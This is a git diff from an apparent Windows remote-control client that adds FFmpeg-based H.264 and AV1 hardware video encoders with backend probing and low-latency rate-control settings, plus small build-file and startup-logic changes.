m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||||
|
|
||||||
|
uint8_t* y = m_i420Scratch.data();
|
||||||
|
uint8_t* u = y + y_size;
|
||||||
|
uint8_t* v = u + uv_size;
|
||||||
|
|
||||||
|
if (libyuv::RGB24ToI420(rgb, stride, y, w, u, w / 2, v, w / 2, w, signed_height) != 0)
|
||||||
|
return -1;
|
||||||
|
if (libyuv::I420ToNV12(y, w, u, w / 2, v, w / 2,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
w, h) != 0)
|
||||||
|
return -1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CFFmpegAV1Encoder::encode(
|
||||||
|
uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** lppData, uint32_t* lpSize, int direction)
|
||||||
|
{
|
||||||
|
if (!m_ctx || !m_frame || !m_packet) return -1;
|
||||||
|
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||||
|
|
||||||
|
int w = (int)width;
|
||||||
|
int h = (int)height;
|
||||||
|
int signed_height = direction * h;
|
||||||
|
|
||||||
|
if (bpp == 32) {
|
||||||
|
if (libyuv::ARGBToNV12(
|
||||||
|
rgb, stride,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
w, signed_height) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
} else if (bpp == 24) {
|
||||||
|
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_frame->pts = m_pts++;
|
||||||
|
if (m_forceIDR) {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_I;
|
||||||
|
m_forceIDR = false;
|
||||||
|
} else {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = avcodec_send_frame(m_ctx, m_frame);
|
||||||
|
if (ret < 0) return -3;
|
||||||
|
|
||||||
|
ret = avcodec_receive_packet(m_ctx, m_packet);
|
||||||
|
if (ret == AVERROR(EAGAIN)) {
|
||||||
|
*lppData = nullptr;
|
||||||
|
*lpSize = 0;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (ret < 0) return -4;
|
||||||
|
|
||||||
|
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
|
||||||
|
*lppData = m_outputBuffer.data();
|
||||||
|
*lpSize = (uint32_t)m_outputBuffer.size();
|
||||||
|
av_packet_unref(m_packet);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||||
62
client/CFFmpegAV1Encoder.h
Normal file
62
client/CFFmpegAV1Encoder.h
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include "common/config.h"
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
|
||||||
|
struct AVCodecContext;
|
||||||
|
struct AVFrame;
|
||||||
|
struct AVPacket;
|
||||||
|
|
||||||
|
// FFmpeg 硬编 AV1 实现。
|
||||||
|
// 后端探测顺序:av1_nvenc (NVIDIA RTX 40+) → av1_amf (AMD RX 7000+) → av1_qsv
|
||||||
|
// (Intel Arc / 11 代+ 部分核显)。AV1 硬编硬件门槛比 H.264 高得多 —— 没合适
|
||||||
|
// 硬件时 open 全部失败,由 EncoderFactory 自动回退到 H.264 路径。
|
||||||
|
//
|
||||||
|
// 注意:FFmpeg 7.1 没有 av1_mf 兜底,因此本类的探测列表比 H.264 短一项。
|
||||||
|
class CFFmpegAV1Encoder : public VideoEncoderBase
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CFFmpegAV1Encoder();
|
||||||
|
~CFFmpegAV1Encoder() override;
|
||||||
|
|
||||||
|
bool open(const EncoderParams& params) override;
|
||||||
|
void close() override;
|
||||||
|
|
||||||
|
int encode(
|
||||||
|
uint8_t* rgb,
|
||||||
|
uint8_t bpp,
|
||||||
|
uint32_t stride,
|
||||||
|
uint32_t width,
|
||||||
|
uint32_t height,
|
||||||
|
uint8_t** lppData,
|
||||||
|
uint32_t* lpSize,
|
||||||
|
int direction = 1
|
||||||
|
) override;
|
||||||
|
|
||||||
|
void forceIDR() override { m_forceIDR = true; }
|
||||||
|
void setBitrate(int kbps) override;
|
||||||
|
VideoCodec codec() const override { return VideoCodec::AV1; }
|
||||||
|
const char* backendName() const override { return m_backend.c_str(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool tryOpenBackend(const char* name, const EncoderParams& p);
|
||||||
|
void cleanupCodec();
|
||||||
|
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height, int direction);
|
||||||
|
|
||||||
|
AVCodecContext* m_ctx = nullptr;
|
||||||
|
AVFrame* m_frame = nullptr;
|
||||||
|
AVPacket* m_packet = nullptr;
|
||||||
|
std::vector<uint8_t> m_outputBuffer;
|
||||||
|
std::vector<uint8_t> m_i420Scratch;
|
||||||
|
int64_t m_pts = 0;
|
||||||
|
bool m_forceIDR = false;
|
||||||
|
std::string m_backend;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||||
299
client/CFFmpegH264Encoder.cpp
Normal file
299
client/CFFmpegH264Encoder.cpp
Normal file
@@ -0,0 +1,299 @@
|
|||||||
|
#include "CFFmpegH264Encoder.h"
|
||||||
|
#include "common/config.h"
|
||||||
|
#include "common/logger.h"
|
||||||
|
|
||||||
|
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整个实现 + 所有 #pragma comment(lib,"ffmpeg/...")
|
||||||
|
// 都不进编译单元,FFmpeg 静态库不会被链接进二进制
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
|
||||||
|
extern "C" {
|
||||||
|
#include <libavcodec/avcodec.h>
|
||||||
|
#include <libavutil/opt.h>
|
||||||
|
#include <libavutil/imgutils.h>
|
||||||
|
#include <libyuv/libyuv.h>
|
||||||
|
}
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include <cstdlib>
|
||||||
|
|
||||||
|
// FFmpeg 静态库 + 必要的 Windows 系统库。x86 build 不引入,由 _WIN64 守护。
|
||||||
|
// FFmpeg 三个核心库是纯 C,CRT 中性,Debug/Release 共用一份。
|
||||||
|
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
|
||||||
|
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
|
||||||
|
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
|
||||||
|
// dav1d (AV1 软解,C 项目) —— 不分 Debug/Release。
|
||||||
|
// build 时启用了 --enable-libdav1d,libavcodec 内部 av1 decoder 引用了 dav1d 符号。
|
||||||
|
#pragma comment(lib,"ffmpeg/dav1d_x64.lib")
|
||||||
|
// libvpl (Intel QSV, C++ 项目) —— 强制 CRT 一致,必须按 _DEBUG 切。
|
||||||
|
// build 时启用了 --enable-libvpl,libavcodec 内部 h264_qsv / av1_qsv encoder 引用 MFX 符号。
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib,"ffmpeg/vpl_x64d.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib,"ffmpeg/vpl_x64.lib")
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#pragma comment(lib, "mfplat.lib")
|
||||||
|
#pragma comment(lib, "mfuuid.lib")
|
||||||
|
#pragma comment(lib, "strmiids.lib")
|
||||||
|
#pragma comment(lib, "secur32.lib")
|
||||||
|
#pragma comment(lib, "bcrypt.lib")
|
||||||
|
#pragma comment(lib, "advapi32.lib")
|
||||||
|
#pragma comment(lib, "ole32.lib")
|
||||||
|
// ws2_32 在 IOCPClient.h 已 link,重复不冲突
|
||||||
|
#pragma comment(lib, "ws2_32.lib")
|
||||||
|
|
||||||
|
// av_opt_set wrappers:FFmpeg 在选项名/值拼错时 silently 返回 AVERROR_OPTION_NOT_FOUND
|
||||||
|
// 不报错,导致 encoder 退回默认行为且没人察觉(实际踩过:AMF rc=vbr_peak_constrained
|
||||||
|
// 拼成全名,FFmpeg 实际只接受 vbr_peak,没设上去就退回 CBR)。
|
||||||
|
// 包一层 helper,任何设置失败 Mprintf 警告。
|
||||||
|
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
|
||||||
|
int rc = av_opt_set(obj, name, val, 0);
|
||||||
|
if (rc < 0) {
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
|
||||||
|
name, val, backend, rc, errbuf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
|
||||||
|
int rc = av_opt_set_int(obj, name, val, 0);
|
||||||
|
if (rc < 0) {
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
|
||||||
|
name, (long long)val, backend, rc, errbuf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 后端探测顺序:NVIDIA > Intel > AMD > Windows MF 兜底。
|
||||||
|
// open() 主循环按顺序试,第一个 avcodec_open2 成功的就用。
|
||||||
|
// h264_mf 质量/稳定性一般,但是 Windows 系统级 hwaccel,任何 GPU 都能尝试,作最后兜底。
|
||||||
|
static const char* kH264Backends[] = {
|
||||||
|
"h264_nvenc", // NVIDIA NVENC
|
||||||
|
"h264_qsv", // Intel Quick Sync Video
|
||||||
|
"h264_amf", // AMD AMF
|
||||||
|
"h264_mf", // Windows Media Foundation
|
||||||
|
};
|
||||||
|
|
||||||
|
CFFmpegH264Encoder::CFFmpegH264Encoder() = default;
|
||||||
|
|
||||||
|
CFFmpegH264Encoder::~CFFmpegH264Encoder() {
|
||||||
|
close();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegH264Encoder::cleanupCodec() {
|
||||||
|
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
|
||||||
|
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
|
||||||
|
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegH264Encoder::close() {
|
||||||
|
cleanupCodec();
|
||||||
|
m_backend.clear();
|
||||||
|
m_pts = 0;
|
||||||
|
m_forceIDR = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CFFmpegH264Encoder::open(const EncoderParams& params) {
|
||||||
|
close();
|
||||||
|
for (const char* name : kH264Backends) {
|
||||||
|
if (tryOpenBackend(name, params)) {
|
||||||
|
m_backend = name;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
cleanupCodec(); // 释放本次失败的 ctx,准备下一次尝试
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
|
||||||
|
const AVCodec* codec = avcodec_find_encoder_by_name(name);
|
||||||
|
if (!codec) {
|
||||||
|
// 失败 = lib 里没注册这个 encoder。几乎肯定是链到了老 ffmpeg lib。
|
||||||
|
Mprintf("=> FFmpeg: encoder '%s' NOT in linked lib (old ffmpeg?)\n", name);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_ctx = avcodec_alloc_context3(codec);
|
||||||
|
if (!m_ctx) {
|
||||||
|
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 偶数对齐(与 x264 路径 i_width/i_height & 0xfffffffe 一致)
|
||||||
|
m_ctx->width = p.width & ~1;
|
||||||
|
m_ctx->height = p.height & ~1;
|
||||||
|
m_ctx->time_base = AVRational{1, p.fps};
|
||||||
|
m_ctx->framerate = AVRational{p.fps, 1};
|
||||||
|
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
|
||||||
|
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 4);
|
||||||
|
m_ctx->max_b_frames = 0;
|
||||||
|
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
|
||||||
|
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
|
||||||
|
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
|
||||||
|
|
||||||
|
// RC 策略选择:远程办公 90% 时间是静态画面(文档/IDE/邮件),CBR 会强行
|
||||||
|
// 把目标码率填满(静态用不上的部分浪费带宽)。所有硬编后端统一改用 VBR,
|
||||||
|
// bit_rate 是平均目标、rc_max_rate (1.5x) 是峰值上限:静态时 encoder 自动
|
||||||
|
// 降码率省带宽,动态时回到目标 + 短暂上探到 1.5x 保证画质。
|
||||||
|
// 接近 x264 软编 CRF + VBV 的行为,但严格守住峰值不爆。
|
||||||
|
if (strcmp(name, "h264_nvenc") == 0) {
|
||||||
|
// NVENC preset: p1(最快/低质) ~ p7(最慢/高质),远控低延迟 p5 兼顾。
|
||||||
|
// tune=ll low-latency;rc=vbr 配 max_rate 实现峰值受限的 VBR。
|
||||||
|
setOpt(m_ctx->priv_data, "preset", "p5", name);
|
||||||
|
setOpt(m_ctx->priv_data, "tune", "ll", name);
|
||||||
|
setOpt(m_ctx->priv_data, "rc", "vbr", name);
|
||||||
|
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
|
||||||
|
} else if (strcmp(name, "h264_qsv") == 0) {
|
||||||
|
// Intel Quick Sync Video。preset: veryfast/faster/fast/medium/slow/slower/veryslow
|
||||||
|
// QSV 当 bit_rate != rc_max_rate 时自动走 VBR,所以这里只需调 preset。
|
||||||
|
// preset=slow 比 medium 慢但画质好,async_depth=1 单帧立即出包。
|
||||||
|
// low_power=0 走 PAK 路径,部分集显不支持 low_power 模式。
|
||||||
|
setOpt(m_ctx->priv_data, "preset", "slow", name);
|
||||||
|
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "low_power", 0, name);
|
||||||
|
} else if (strcmp(name, "h264_amf") == 0) {
|
||||||
|
// AMD AMF 远控低延迟配置:
|
||||||
|
// usage=ultralowlatency 比 lowlatency 更激进,关闭一切 lookahead;
|
||||||
|
// quality=speed 选最快编码路径(vs balanced/quality);
|
||||||
|
// rc=cbr 提供最可预测的输出节拍,避免 RC 切换抖动。
|
||||||
|
// 静态画面省码率交给应用层 skip 检测(ScreenCapture::GetNextScreenData
|
||||||
|
// 已经过 memcmp 把无变化帧直接拦在编码器之前),不再依赖 vbaq/preanalysis
|
||||||
|
// 这些会引入 30-100ms lookahead 的"省码率三件套"。
|
||||||
|
setOpt(m_ctx->priv_data, "usage", "ultralowlatency", name);
|
||||||
|
setOpt(m_ctx->priv_data, "quality", "speed", name);
|
||||||
|
setOpt(m_ctx->priv_data, "rc", "cbr", name);
|
||||||
|
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
|
||||||
|
} else if (strcmp(name, "h264_mf") == 0) {
|
||||||
|
// Windows Media Foundation 兜底。rate_control 实际值(ffmpeg -h encoder=h264_mf):
|
||||||
|
// default / cbr / pc_vbr / u_vbr / quality / ld_vbr / g_vbr / gld_vbr
|
||||||
|
// 远控用 pc_vbr (peak-constrained VBR) 与其他后端语义对齐。
|
||||||
|
setOptInt(m_ctx->priv_data, "hw_encoding", 1, name);
|
||||||
|
setOpt(m_ctx->priv_data, "rate_control", "pc_vbr", name);
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = avcodec_open2(m_ctx, codec, nullptr);
|
||||||
|
if (ret < 0) {
|
||||||
|
// 失败 = encoder 找到了但开不起来。常见:无 NVIDIA GPU / 驱动太旧 /
|
||||||
|
// NVENC session 占满 / 笔记本独显未唤醒 / 参数组合驱动不接受
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(ret, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_frame = av_frame_alloc();
|
||||||
|
if (!m_frame) return false;
|
||||||
|
m_frame->format = AV_PIX_FMT_NV12;
|
||||||
|
m_frame->width = m_ctx->width;
|
||||||
|
m_frame->height = m_ctx->height;
|
||||||
|
if (av_frame_get_buffer(m_frame, 32) < 0) {
|
||||||
|
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_packet = av_packet_alloc();
|
||||||
|
return m_packet != nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegH264Encoder::setBitrate(int kbps) {
|
||||||
|
if (!m_ctx) return;
|
||||||
|
m_ctx->bit_rate = (int64_t)kbps * 1000;
|
||||||
|
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
|
||||||
|
m_ctx->rc_buffer_size = (int)(kbps * 1000);
|
||||||
|
// 注意:FFmpeg 多数硬编不支持运行时改 bit_rate 让 ctx 立即生效;
|
||||||
|
// 这里只更新数值,下次 open 时才生效。Step 1 不依赖动态调码率。
|
||||||
|
}
|
||||||
|
|
||||||
|
int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
int direction)
|
||||||
|
{
|
||||||
|
int signed_height = direction * (int)height;
|
||||||
|
int w = (int)width;
|
||||||
|
int h = (int)height;
|
||||||
|
int y_size = w * h;
|
||||||
|
int uv_size = (w / 2) * (h / 2);
|
||||||
|
m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||||
|
|
||||||
|
uint8_t* y = m_i420Scratch.data();
|
||||||
|
uint8_t* u = y + y_size;
|
||||||
|
uint8_t* v = u + uv_size;
|
||||||
|
|
||||||
|
if (libyuv::RGB24ToI420(
|
||||||
|
rgb, stride,
|
||||||
|
y, w,
|
||||||
|
u, w / 2,
|
||||||
|
v, w / 2,
|
||||||
|
w, signed_height) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (libyuv::I420ToNV12(
|
||||||
|
y, w,
|
||||||
|
u, w / 2,
|
||||||
|
v, w / 2,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
w, h) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CFFmpegH264Encoder::encode(
|
||||||
|
uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** lppData, uint32_t* lpSize, int direction)
|
||||||
|
{
|
||||||
|
if (!m_ctx || !m_frame || !m_packet) return -1;
|
||||||
|
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||||
|
|
||||||
|
int w = (int)width;
|
||||||
|
int h = (int)height;
|
||||||
|
int signed_height = direction * h;
|
||||||
|
|
||||||
|
if (bpp == 32) {
|
||||||
|
if (libyuv::ARGBToNV12(
|
||||||
|
rgb, stride,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
w, signed_height) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
} else if (bpp == 24) {
|
||||||
|
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_frame->pts = m_pts++;
|
||||||
|
if (m_forceIDR) {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_I;
|
||||||
|
m_forceIDR = false;
|
||||||
|
} else {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = avcodec_send_frame(m_ctx, m_frame);
|
||||||
|
if (ret < 0) return -3;
|
||||||
|
|
||||||
|
ret = avcodec_receive_packet(m_ctx, m_packet);
|
||||||
|
if (ret == AVERROR(EAGAIN)) {
|
||||||
|
// 首帧延迟:本次没出包,调用方按 lpSize==0 跳过本帧
|
||||||
|
*lppData = nullptr;
|
||||||
|
*lpSize = 0;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (ret < 0) return -4;
|
||||||
|
|
||||||
|
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
|
||||||
|
*lppData = m_outputBuffer.data();
|
||||||
|
*lpSize = (uint32_t)m_outputBuffer.size();
|
||||||
|
av_packet_unref(m_packet);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||||
62
client/CFFmpegH264Encoder.h
Normal file
62
client/CFFmpegH264Encoder.h
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include "common/config.h"
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
|
||||||
|
struct AVCodecContext;
|
||||||
|
struct AVFrame;
|
||||||
|
struct AVPacket;
|
||||||
|
|
||||||
|
// FFmpeg 硬编 H.264 实现。
|
||||||
|
// Step 1: 仅探测 h264_nvenc 单后端,足以验证 FFmpeg 静态库集成链路。
|
||||||
|
// Step 2: 扩展 h264_qsv / h264_amf / h264_mf。
|
||||||
|
//
|
||||||
|
// 输入像素:BGRA (bpp=32) / RGB24 (bpp=24),与 CX264Encoder 完全一致;
|
||||||
|
// 内部转 NV12 喂给 FFmpeg encoder。
|
||||||
|
class CFFmpegH264Encoder : public VideoEncoderBase
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CFFmpegH264Encoder();
|
||||||
|
~CFFmpegH264Encoder() override;
|
||||||
|
|
||||||
|
bool open(const EncoderParams& params) override;
|
||||||
|
void close() override;
|
||||||
|
|
||||||
|
int encode(
|
||||||
|
uint8_t* rgb,
|
||||||
|
uint8_t bpp,
|
||||||
|
uint32_t stride,
|
||||||
|
uint32_t width,
|
||||||
|
uint32_t height,
|
||||||
|
uint8_t** lppData,
|
||||||
|
uint32_t* lpSize,
|
||||||
|
int direction = 1
|
||||||
|
) override;
|
||||||
|
|
||||||
|
void forceIDR() override { m_forceIDR = true; }
|
||||||
|
void setBitrate(int kbps) override;
|
||||||
|
VideoCodec codec() const override { return VideoCodec::H264; }
|
||||||
|
const char* backendName() const override { return m_backend.c_str(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool tryOpenBackend(const char* name, const EncoderParams& p);
|
||||||
|
void cleanupCodec();
|
||||||
|
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height, int direction);
|
||||||
|
|
||||||
|
AVCodecContext* m_ctx = nullptr;
|
||||||
|
AVFrame* m_frame = nullptr;
|
||||||
|
AVPacket* m_packet = nullptr;
|
||||||
|
std::vector<uint8_t> m_outputBuffer; // encode 返回给调用方的缓冲(持有到下一次 encode)
|
||||||
|
std::vector<uint8_t> m_i420Scratch; // RGB24 路径的中间缓冲
|
||||||
|
int64_t m_pts = 0;
|
||||||
|
bool m_forceIDR = false;
|
||||||
|
std::string m_backend; // 实际选中的后端名("h264_nvenc" / ...)
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||||
@@ -552,7 +552,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
// The main ClientApp.
|
// The main ClientApp.
|
||||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||||
}
|
}
|
||||||
if (!app.m_bShared) {
|
static bool hasRun = false;
|
||||||
|
if (!app.m_bShared && !hasRun) {
|
||||||
|
hasRun = true;
|
||||||
auto a = cfg.GetStr("settings", "share_list");
|
auto a = cfg.GetStr("settings", "share_list");
|
||||||
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
||||||
for (int i = 0; i < shareList.size(); ++i) {
|
for (int i = 0; i < shareList.size(); ++i) {
|
||||||
@@ -597,7 +599,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
SAFE_DELETE(Manager);
|
SAFE_DELETE(Manager);
|
||||||
|
|
||||||
//准备第一波数据
|
//准备第一波数据
|
||||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate);
|
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate, isAuthKernel);
|
||||||
Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
|
Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
|
||||||
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
|
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
|
||||||
Manager->SetClientApp(&app);
|
Manager->SetClientApp(&app);
|
||||||
|
|||||||
@@ -124,7 +124,7 @@
|
|||||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
@@ -167,7 +167,7 @@
|
|||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
@@ -205,6 +205,9 @@
|
|||||||
<ClCompile Include="ShellManager.cpp" />
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
<ClCompile Include="StdAfx.cpp" />
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
<ClCompile Include="SystemManager.cpp" />
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
@@ -228,6 +231,10 @@
|
|||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
<ClInclude Include="IOCPKCPClient.h" />
|
<ClInclude Include="IOCPKCPClient.h" />
|
